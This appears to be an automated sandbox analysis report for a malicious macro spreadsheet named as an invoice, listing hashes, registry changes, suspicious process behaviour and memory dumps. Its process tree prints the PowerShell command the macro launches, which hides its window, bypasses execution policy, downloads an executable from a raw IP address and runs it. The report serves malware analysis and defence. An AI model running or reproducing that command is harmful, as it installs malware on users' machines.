Analysis
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max time kernel
70s -
max time network
45s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
24-01-2023 07:30
Behavioral task
behavioral1
Sample
invoice_78336.xlsm
Resource
win7-20220812-en
windows7-x64
9 signatures
150 seconds
General
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Target
invoice_78336.xlsm
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Size
42KB
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MD5
8588c1999a06ff9c06d12fee925b9018
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SHA1
af5ef23dbcc31847788d1a2522b689a8dfd0f124
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SHA256
c94cca2c1e58461023c08ac630cb28cb0940566373c8fa988c480736597a8840
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SHA512
62c175443fb7b0c58be53f84cdf78d441670eb1ecfed27d7c41f06505a8e036f81c4d7ea086c42cdfcf23d5256404dfccf2b6372fa1a538bbe66d8e54ac9305d
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SSDEEP
768:7lvRPlvHssndawBIJYfTH+niSpPvDH7iv+nW4FFiKk/f0qtM2CHWRQ+nYANm:ZvnvHTdawG1BxT7iv+PFFi3/8qahHWt+
Score
10/10
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1512 2020 powershell.exe EXCEL.EXE -
Office loads VBA resources, possible macro or embedded object present
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Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2020 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1512 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1512 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 2020 EXCEL.EXE 2020 EXCEL.EXE 2020 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEdescription pid process target process PID 2020 wrote to memory of 1512 2020 EXCEL.EXE powershell.exe PID 2020 wrote to memory of 1512 2020 EXCEL.EXE powershell.exe PID 2020 wrote to memory of 1512 2020 EXCEL.EXE powershell.exe PID 2020 wrote to memory of 1512 2020 EXCEL.EXE powershell.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\invoice_78336.xlsm1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://198.23.172.90/statement.exe" -OutFile $TempFile; Start-Process $TempFile;2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/1512-61-0x0000000000000000-mapping.dmp
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memory/1512-63-0x000000006C0B0000-0x000000006C65B000-memory.dmpFilesize
5.7MB
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memory/1512-65-0x000000006C0B0000-0x000000006C65B000-memory.dmpFilesize
5.7MB
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memory/2020-54-0x000000002FA21000-0x000000002FA24000-memory.dmpFilesize
12KB
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memory/2020-55-0x0000000071351000-0x0000000071353000-memory.dmpFilesize
8KB
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memory/2020-56-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/2020-57-0x000000007233D000-0x0000000072348000-memory.dmpFilesize
44KB
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memory/2020-58-0x00000000751A1000-0x00000000751A3000-memory.dmpFilesize
8KB
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memory/2020-59-0x0000000000861000-0x0000000000865000-memory.dmpFilesize
16KB
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memory/2020-60-0x0000000000861000-0x0000000000865000-memory.dmpFilesize
16KB
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memory/2020-64-0x000000007233D000-0x0000000072348000-memory.dmpFilesize
44KB